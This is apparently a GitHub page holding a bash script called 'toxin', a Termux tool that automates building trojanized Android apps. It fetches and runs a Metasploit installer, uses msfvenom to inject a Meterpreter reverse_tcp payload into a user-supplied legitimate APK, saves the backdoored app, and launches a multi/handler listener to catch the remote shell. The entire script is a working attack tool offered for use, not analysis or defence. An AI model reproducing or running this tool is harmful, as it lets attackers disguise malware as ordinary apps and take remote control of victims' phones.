-
Notifications
You must be signed in to change notification settings - Fork 3
/
toxin
173 lines (166 loc) · 4.03 KB
/
toxin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
#!/bin/bash
#Colors
normal=$(echo -en "\e[0m")
orange=$(echo -en "\e[33m")
aqua=$(echo -en "\e[36m")
lightgreen=$(echo -en "\e[92m")
function ascii() {
echo "$aqua
_|_|_|_|_| _|_| _| _| _|_|_| _| _|
_| _| _| _| _| _| _|_| _|
_| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _|_|
_| _|_| _| _| _|_|_| _| _|
----------- APK PAYLOAD GENERATOR -----------
- By KSAURAJ
$normal "
}
function setup() {
ascii
pkg install nala git wget curl -y
if ! command -v msfconsole &> /dev/null
then
echo "$orange Metasploit not found."
echo "Either install it manually or press 'Y' to continue."
echo "Do You want to install it? $normal"
read -rp "[?] Select [Y/n]> : " answer_1
clear
case "$answer_1" in
Y* | y*) echo "Installating metasploit."
wget https://github.com/gushmazuko/metasploit_in_termux/raw/master/metasploit.sh
chmod +x metasploit.sh
./metasploit.sh
rm metasploit.sh
;;
esac
else
echo "Metasploit already present, skipping reinstallation."
fi
clear
ascii
nala install apktool aapt openjdk-17 apksigner -y || git clone https://github.com/OnlineHacKing/TermuxTools-Installation && cd TermuxTools-Installation/Apktool-Termux && dpkg -i apktool_2.3.4_all.deb && cd ../.. && rm -rf TermuxTools-Installation
}
#function lhost
function get_lhost()
{
clear
ascii
echo ""
read -rp "Enter LHOST : " LHOST
}
#function lport
function get_lport()
{
clear
ascii
echo ""
read -rp "Enter LPORT : " LPORT
}
#function payload
function get_payload()
{
PAYLOAD="android/meterpreter/reverse_tcp"
}
function modded_apk()
{
clear
ascii
echo ""
read -rp "Enter Modded Apk Name : " mod_apk
}
#function original apk
function original_apk()
{
clear
ascii
echo ""
read -rp "Enter Original apk path : " orig_apk
}
function gen_payload() {
clear
ascii
echo "$green"
echo "Starting Metasploit, might take some time. $normal"
msfvenom -x $orig_apk -p android/meterpreter/reverse_tcp lhost=$LHOST lport=$LPORT -o $mod_apk
if [ -e "$mod_apk" ]
then
clear
ascii
mkdir -p ~/storage/shared/toxin
mv $mod_apk ~/storage/shared/toxin
echo ""
echo "$aqua Your apk was stored at /storage/emulated/0/toxin/$mod_apk $normal"
else
echo "$orange Try with different apk. This apk looks sus.$normal"
fi
}
function listener_lhost()
{
clear
ascii
echo ""
read -rp "Enter LHOST : " l_host
}
#function lport
function listener_lport()
{
clear
ascii
echo ""
read -rp "Enter LPORT : " l_port
}
function start_handler() {
listener_lhost
listener_lport
clear
ascii
echo "$green"
echo "Starting Metasploit, might take some time. $normal"
msfconsole -x "use multi/handler; set LHOST $l_host ; set LPORT $l_port ; set PAYLOAD $PAYLOAD ; exploit"
}
function update()
{
curl -s https://raw.githubusercontent.com/ksauraj/toxin/master/toxin -o toxin
rm $PREFIX/bin/toxin
mv toxin $PREFIX/bin
chmod +x $PREFIX/bin/toxin
exit 0
}
function main() {
clear
ascii
echo "
[1] - Generate Payload
[2] - Start Listener
[3] - Start Setup
[4] - Update tool
[q] - Quit"
echo ""
read -rp " [?] Select : " answer
clear
case "$answer" in
1*)
ascii
get_lhost
get_lport
original_apk
modded_apk
gen_payload
;;
2*)
ascii
start_handler
;;
3*)
setup
;;
4*)
update
;;
q*)
echo -e $aqua " Good Bye !!"
exit 0
;;
esac
}
main